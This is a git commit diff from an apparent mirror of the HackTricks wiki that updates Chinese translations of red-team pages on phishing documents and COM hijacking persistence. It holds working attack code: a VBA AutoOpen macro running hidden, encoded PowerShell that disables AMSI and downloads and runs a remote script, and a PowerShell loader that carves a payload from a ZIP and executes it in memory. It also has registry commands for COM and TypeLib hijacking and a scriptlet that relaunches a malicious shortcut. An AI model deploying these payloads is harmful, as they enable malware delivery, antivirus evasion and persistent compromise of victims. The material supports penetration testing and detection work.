mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
a6bdb1ad1b
commit
c4a06c195e
@ -4,37 +4,37 @@
|
||||
|
||||
## Office Documents
|
||||
|
||||
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式进行,符合 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,正在分析的文件将无法打开。
|
||||
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式根据 OfficeOpenXML standard 进行。如果在数据结构识别过程中发生任何错误,被分析的文件将不会被打开。
|
||||
|
||||
通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,并仍然保持其宏执行能力。\
|
||||
例如,RTF 文件设计上不支持宏,但重命名为 RTF 的 DOCM 文件将被 Microsoft Word 处理,并能够执行宏。\
|
||||
相同的内部机制适用于 Microsoft Office 套件的所有软件(Excel、PowerPoint 等)。
|
||||
通常,包含宏的 Word 文件使用 `.docm` 扩展名。但是,可以通过更改文件扩展名来重命名文件,同时仍保持其宏执行能力。\
|
||||
例如,按设计 RTF 文件不支持宏,但将 DOCM 文件重命名为 RTF 后,Microsoft Word 会将其处理并能够执行宏。\
|
||||
相同的内部机制适用于 Microsoft Office Suite 的所有软件(Excel、PowerPoint 等)。
|
||||
|
||||
您可以使用以下命令检查某些 Office 程序将执行哪些扩展名:
|
||||
您可以使用以下命令来检查某些 Office 程序将执行哪些扩展名:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX 文件引用远程模板(文件 – 选项 – 插件 – 管理:模板 – 转到)时,包括宏也可以“执行”宏。
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### 外部图像加载
|
||||
### 外部图片加载
|
||||
|
||||
转到: _插入 --> 快速部件 --> 字段_\
|
||||
_**类别**:链接和引用,**字段名称**:includePicture,**文件名或 URL**:_ http://\<ip>/whatever
|
||||
转到: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**:链接和引用,**Filed names**:includePicture,和 **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### 宏后门
|
||||
### Macros 后门
|
||||
|
||||
可以使用宏从文档中运行任意代码。
|
||||
可以使用 macros 在文档中运行任意代码。
|
||||
|
||||
#### 自动加载函数
|
||||
|
||||
它们越常见,AV 检测到它们的可能性就越大。
|
||||
这些函数越常见,AV 检测到它们的概率越高。
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### 宏代码示例
|
||||
#### Macros 代码示例
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,16 +64,16 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### 手动删除元数据
|
||||
#### 手动移除元数据
|
||||
|
||||
前往 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect** 然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**。
|
||||
转到 **File > Info > Inspect Document > Inspect Document**,这将打开 Document Inspector。点击 **Inspect**,然后在 **Document Properties and Personal Information** 旁点击 **Remove All**。
|
||||
|
||||
#### 文档扩展名
|
||||
|
||||
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
|
||||
这样做是因为你 **不能在 `.docx` 中保存宏**,并且对宏启用的 **`.docm`** 扩展名有一种 **污名**(例如,缩略图图标上有一个巨大的 `!`,一些网络/电子邮件网关完全阻止它们)。因此,这个 **传统的 `.doc` 扩展名是最佳折衷**。
|
||||
完成后,从 **Save as type** 下拉菜单中选择,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
|
||||
这样做的原因是你 **can't save macro's inside a `.docx`**,而且围绕 macro-enabled 的 **`.docm`** 扩展名存在一定的**污名**(例如缩略图图标有一个大的 `!`,一些 web/email gateway 会完全阻止它们)。因此,这个**传统的 `.doc` 扩展名是最佳折衷**。
|
||||
|
||||
#### 恶意宏生成器
|
||||
#### 恶意 Macros 生成器
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
## HTA 文件
|
||||
|
||||
HTA 是一个 Windows 程序,它 **结合了 HTML 和脚本语言(如 VBScript 和 JScript)**。它生成用户界面并作为“完全信任”的应用程序执行,且不受浏览器安全模型的限制。
|
||||
HTA 是 Windows 程序,**结合了 HTML 和脚本语言(例如 VBScript 和 JScript)**。它生成用户界面并作为“fully trusted”的应用程序执行,不受浏览器安全模型的约束。
|
||||
|
||||
HTA 使用 **`mshta.exe`** 执行,通常与 **Internet Explorer** 一起 **安装**,使得 **`mshta` 依赖于 IE**。因此,如果它被卸载,HTA 将无法执行。
|
||||
HTA 使用 **`mshta.exe`** 执行,该程序通常随 **Internet Explorer** 一起**安装**,这使得 **`mshta` 依赖于 IE**。因此,如果 IE 已被卸载,HTA 将无法执行。
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,9 +140,9 @@ self.close
|
||||
```
|
||||
## 强制 NTLM 认证
|
||||
|
||||
有几种方法可以**“远程”强制 NTLM 认证**,例如,您可以在用户访问的电子邮件或 HTML 中添加**隐形图像**(甚至是 HTTP MitM?)。或者将**文件地址**发送给受害者,这将**触发**仅仅**打开文件夹**所需的**认证**。
|
||||
有几种方法可以**“远程”强制 NTLM 认证**,例如,你可以在用户将访问的邮件或 HTML 中添加**不可见图片**(甚至通过 HTTP MitM?)。或者发送给受害者一些会在**打开文件夹时**就**触发**认证的**文件地址**。
|
||||
|
||||
**在以下页面中查看这些想法和更多内容:**
|
||||
**在下面的页面中查看这些想法和更多内容:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -154,11 +154,62 @@ self.close
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
### NTLM 中继
|
||||
### NTLM Relay
|
||||
|
||||
不要忘记,您不仅可以窃取哈希或认证,还可以**执行 NTLM 中继攻击**:
|
||||
别忘了你不仅可以窃取哈希或认证,还可以**执行 NTLM relay attacks**:
|
||||
|
||||
- [**NTLM 中继攻击**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM 中继到证书)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
高效的活动通常投递一个 ZIP,其中包含两个合法的诱饵文档 (PDF/DOCX) 和一个恶意 .lnk。技巧在于真正的 PowerShell loader 被存放在 ZIP 原始字节中某个唯一标记之后,.lnk 会 carve 出来并在内存中完全运行它。
|
||||
|
||||
典型由 .lnk PowerShell 单行命令实现的流程:
|
||||
|
||||
1) 在常见路径定位原始 ZIP:Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 以及当前工作目录的父目录。
|
||||
2) 读取 ZIP 字节并查找硬编码标记(例如 xFIQCV)。标记之后的所有内容就是嵌入的 PowerShell payload。
|
||||
3) 将 ZIP 复制到 %ProgramData%,在那里解压,并打开诱饵 .docx 以显得合法。
|
||||
4) 为当前进程绕过 AMSI: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 对下一阶段进行去混淆(例如移除所有 # 字符)并在内存中执行。
|
||||
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
|
||||
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
|
||||
)
|
||||
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
|
||||
if(-not $zip){ return }
|
||||
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
|
||||
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
|
||||
if($idx -lt 0){ return }
|
||||
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
|
||||
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
说明
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
|
||||
|
||||
在同一链中使用的持久性
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
狩猎/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,23 +4,23 @@
|
||||
|
||||
### 搜索不存在的 COM 组件
|
||||
|
||||
由于 HKCU 的值可以被用户修改,**COM Hijacking** 可以作为一种 **持久机制**。使用 `procmon` 很容易找到不存在的 COM 注册表项,攻击者可以创建这些项以实现持久化。过滤条件:
|
||||
由于 HKCU 的值可以被用户修改,**COM Hijacking** 可被用作 **持久化机制**。使用 `procmon` 很容易找到那些不存在但被查询的 COM 注册表项,攻击者可以创建这些项以实现持久化。筛选条件:
|
||||
|
||||
- **RegOpenKey** 操作。
|
||||
- 其中 _Result_ 为 **NAME NOT FOUND**。
|
||||
- 并且 _Path_ 以 **InprocServer32** 结尾。
|
||||
- 且 _Path_ 以 **InprocServer32** 结尾。
|
||||
|
||||
一旦你决定了要伪装的不存在的 COM,执行以下命令。_如果你决定伪装一个每几秒加载一次的 COM,请小心,因为这可能会过于激进。_
|
||||
一旦决定要冒充哪个不存在的 COM,执行以下命令。_如果你决定冒充一个每隔几秒就被加载的 COM,请小心,这可能会造成过度影响(overkill)。_
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
||||
```
|
||||
### 可劫持的任务调度程序 COM 组件
|
||||
### 可劫持的 Task Scheduler COM components
|
||||
|
||||
Windows 任务使用自定义触发器调用 COM 对象,由于它们是通过任务调度程序执行的,因此更容易预测它们何时会被触发。
|
||||
Windows Tasks 使用 Custom Triggers 来调用 COM objects,并且因为它们通过 Task Scheduler 执行,所以更容易预测它们何时会被触发。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># 显示 COM CLSIDs
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
|
||||
foreach ($Task in $Tasks)
|
||||
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
|
||||
|
||||
if ($Task.Principal.GroupId -eq $usersGroup)
|
||||
{
|
||||
Write-Host "任务名称: " $Task.TaskName
|
||||
Write-Host "任务路径: " $Task.TaskPath
|
||||
Write-Host "Task Name: " $Task.TaskName
|
||||
Write-Host "Task Path: " $Task.TaskPath
|
||||
Write-Host "CLSID: " $Task.Actions.ClassId
|
||||
Write-Host
|
||||
}
|
||||
@ -43,15 +43,15 @@ Write-Host
|
||||
}
|
||||
}
|
||||
|
||||
# 示例输出:
|
||||
<strong># 任务名称: 示例
|
||||
</strong># 任务路径: \Microsoft\Windows\Example\
|
||||
# Sample Output:
|
||||
<strong># Task Name: Example
|
||||
</strong># Task Path: \Microsoft\Windows\Example\
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [更多类似于前面的...]</code></pre>
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
检查输出后,您可以选择一个将在 **每次用户登录时** 执行的任务,例如。
|
||||
查看输出,你可以选择一个例如会在 **每次用户登录时** 被执行的任务。
|
||||
|
||||
现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。
|
||||
现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常你会发现该值在 HKCU 中不存在。
|
||||
```bash
|
||||
# Exists in HKCR\CLSID\
|
||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||
@ -72,6 +72,64 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
然后,您可以创建 HKCU 条目,每次用户登录时,您的后门将被触发。
|
||||
然后,你只需创建 HKCU 条目,每当用户登录时,你的 backdoor 就会被触发。
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Type Libraries (TypeLib) 定义 COM 接口并通过 `LoadTypeLib()` 加载。当一个 COM server 被实例化时,操作系统也可能通过查阅位于 `HKCR\TypeLib\{LIBID}` 下的注册表键来加载关联的 TypeLib。如果 TypeLib 路径被替换为一个 **moniker**,例如 `script:C:\...\evil.sct`,当解析该 TypeLib 时 Windows 会执行该 scriptlet —— 从而产生一种隐蔽的持久化,当常用组件被访问时触发。
|
||||
|
||||
已在 Microsoft Web Browser control 上观察到此类行为(该控件常由 Internet Explorer、嵌入 WebBrowser 的应用程序,甚至 `explorer.exe` 加载)。
|
||||
|
||||
### 步骤 (PowerShell)
|
||||
|
||||
1) 识别被高频率 CLSID 使用的 TypeLib (LIBID)。常被恶意软件链滥用的示例 CLSID:`{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`(Microsoft Web Browser)。
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) 将 per-user TypeLib 路径指向本地 scriptlet,使用 `script:` moniker(不需要管理员权限):
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) 放置一个最小的 JScript `.sct`,重新启动你的主 payload(例如初始链使用的 `.lnk`):
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
try {
|
||||
var sh = new ActiveXObject('WScript.Shell');
|
||||
// Re-launch the malicious LNK for persistence
|
||||
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
|
||||
sh.Run(cmd, 0, false);
|
||||
} catch(e) {}
|
||||
]]>
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) 触发 – 打开 IE、嵌入了 WebBrowser control 的应用程序,或甚至常规的 Explorer 活动会加载 TypeLib 并执行 scriptlet,从而在 logon/reboot 时重新为你的链路上膛。
|
||||
|
||||
清理
|
||||
```powershell
|
||||
# Remove the per-user TypeLib hijack
|
||||
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
|
||||
# Delete the dropped scriptlet
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
注意事项
|
||||
- 你可以将相同逻辑应用于其他高频 COM 组件;始终先从 `HKCR\CLSID\{CLSID}\TypeLib` 解析真实的 `LIBID`。
|
||||
- 在 64-bit 系统上,你也可以为 64-bit 客户端填充 `win64` 子键。
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user